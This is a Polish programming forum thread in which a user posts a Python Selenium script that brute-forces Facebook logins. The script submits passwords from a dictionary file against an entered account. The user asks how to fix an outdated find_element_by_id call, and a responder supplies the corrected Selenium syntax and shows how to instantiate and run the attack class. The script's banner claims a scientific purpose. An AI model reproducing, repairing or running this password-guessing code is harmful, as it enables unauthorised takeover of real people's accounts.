• Najnowsze pytania
  • Bez odpowiedzi
  • Zadaj pytanie
  • Kategorie
  • Tagi
  • Zdobyte punkty
  • Ekipa ninja
  • IRC
  • FAQ
  • Regulamin
  • Książki warte uwagi

jak naprawić poniższy błąd kodu?

VPS Starter Arubacloud
0 głosów
397 wizyt
pytanie zadane 15 listopada 2022 w Bezpieczeństwo, hacking przez Mario11987 Nowicjusz (120 p.)
print("****************************************************************************************************")
print("BREAKING IN IS ILLEGAL!/ WŁAMYWANIE SIĘ JEST NIELEGALNE!")
print("The project was created for a scientific purpose, to check u2f operation)")
print("Projekt powstał w celu naukowym, mającym sprawdzenie działania uwierzytelniania dwu/wieloetapowego.")
print("****************************************************************************************************")
print("")
print("")
print("")
login = input('Please eneter login: ')
browser = webdriver.Chrome()
browser.get('https://www.facebook.com/login.php')


class Attack:

    def addlogin(self):
        # locate xpath and send login.
        time.sleep(2)
        self.button_cookie = browser.find_element_by_id('u_0_c_7w')
        time.sleep(0.5)
        self.button_cookie.click()
        self.button_cookie_accept = browser.find_element_by_id('u_0_j')
        time.sleep(0.5)
        self.button_cookie_accept.click()
        time.sleep(2)
        self.button_username = browser.find_element_by_xpath('//*[@id="email"]')
        self.button_username.click()
        time.sleep(0.5)
        self.button_username.send_keys(login)
        time.sleep(0.5)

    def FbBruteForceDictionary(self):
        # this function has a special task:
        # 1. Locate xpath form "password"
        # 2. Send key from dictionary.
        # 3. Locate xpath button login and click.

        login_attempt = 0
        with open("dict.txt", "r") as file:
            lines = file.readlines()
        for line in lines:
            self.button_password = browser.find_element_by_xpath('//*[@id="pass"]')
            self.button_password.click()
            time.sleep(2)
            self.button_password.send_keys(line)

            self.button_login = browser.find_element_by_xpath('//*[@id="loginbutton"]')
            self.button_login.click()
            login_attempt = login_attempt + 1
            print("____________________________________________________________")
            print(' Login attempt', login_attempt, ' with key/password : ', line)
            print("____________________________________________________________")


Please eneter login: kowalski@wp.pl
Traceback (most recent call last):
  File "C:\Users\PC\PycharmProjects\seleniumpython\facebookBruteForce.py", line 62, in <module>
    p.addlogin()
  File "C:\Users\PC\PycharmProjects\seleniumpython\facebookBruteForce.py", line 25, in addlogin
    self.button_cookie = browser.find_element_by_id('u_0_c_7w')
AttributeError: 'WebDriver' object has no attribute 'find_element_by_id'
 

Jak naprawić powyższy błąd ? Ponieważ element by id jest zmienny 

1 odpowiedź

+1 głos
odpowiedź 15 listopada 2022 przez toko Dyskutant (8,030 p.)

Z tego co teraz na szybko wygooglowałem, wydaje mi się, że od którejś wersji nie ma już funkcji find_element(s)_by_*, jest tylko find_element(s)(By.{po czym chcesz szukać}, {tu wartość}). Do tego musisz zaimportować: from selenium.webdriver.common.by import By

komentarz 17 listopada 2022 przez toko Dyskutant (8,030 p.)

Gdzie w kodzie masz zielony przycisk, którym odpalasz run smiley? Bo ja żadnego przycisku w kodzie nie widzę laugh.

W kodzie najpierw importujesz biblioteki, potem prosisz użytkownika o login, następnie otwierasz stronę fb i deklarujesz klasę. Nigdzie nie tworzysz obiektu klasy i nie wywołujesz funkcji addlogin ani FbBruteForceDictionary. (przy okazji: chyba cała ta klasa i funkcje nie mają sensu)

komentarz 17 listopada 2022 przez Mario11987 Nowicjusz (120 p.)

No przecież jest Pan ekspertem w Pythonie i nie wie Pan jak się odpala program nie z konsoli? laughW prawym górnym rogu w pasku menu

komentarz 17 listopada 2022 przez toko Dyskutant (8,030 p.)
Nie używam do Pythona żadnego IDE i ogólnie zazwyczaj piszę w C++, ale nie chodziło mi o to jak uruchamiasz program, tylko napisałeś, że ODPALASZ W KODZIE ZIELONYM PRZYCISKIEM RUN. Żadnego przycisku w kodzie nie ma, RUN w kodzie też nie widzę, co najwyżej w jakimś IDE, w którym piszesz.

A jeśli ciągle nie wiesz co poprawić, to chyba powinieneś zrobić coś w tym stylu:

attack = Attack()
attack.addlogin()
attack.FBBr....()
komentarz 17 listopada 2022 przez Mario11987 Nowicjusz (120 p.)
Piszę w PyCharm
komentarz 8 grudnia 2022 przez Arnold4509 Użytkownik (860 p.)

@toko, Dzięki za pomoc, miałem podobny problem. Pozdrawiam :)

92,785 zapytań

141,716 odpowiedzi

320,630 komentarzy

62,115 pasjonatów

Motyw:

Akcja Pajacyk

Pajacyk od wielu lat dożywia dzieci. Pomóż klikając w zielony brzuszek na stronie. Dziękujemy! ♡

Oto polecana książka warta uwagi.
Pełną listę książek znajdziesz tutaj.

Akademia Sekuraka

Niedawno wystartował dodruk tej świetnej, rozchwytywanej książki (około 940 stron). Mamy dla Was kod: pasja (wpiszcie go w koszyku), dzięki któremu otrzymujemy 10% zniżki - dziękujemy zaprzyjaźnionej ekipie Sekuraka za taki bonus dla Pasjonatów! Książka to pierwszy tom z serii o ITsec, który łagodnie wprowadzi w świat bezpieczeństwa IT każdą osobę - warto, polecamy!

...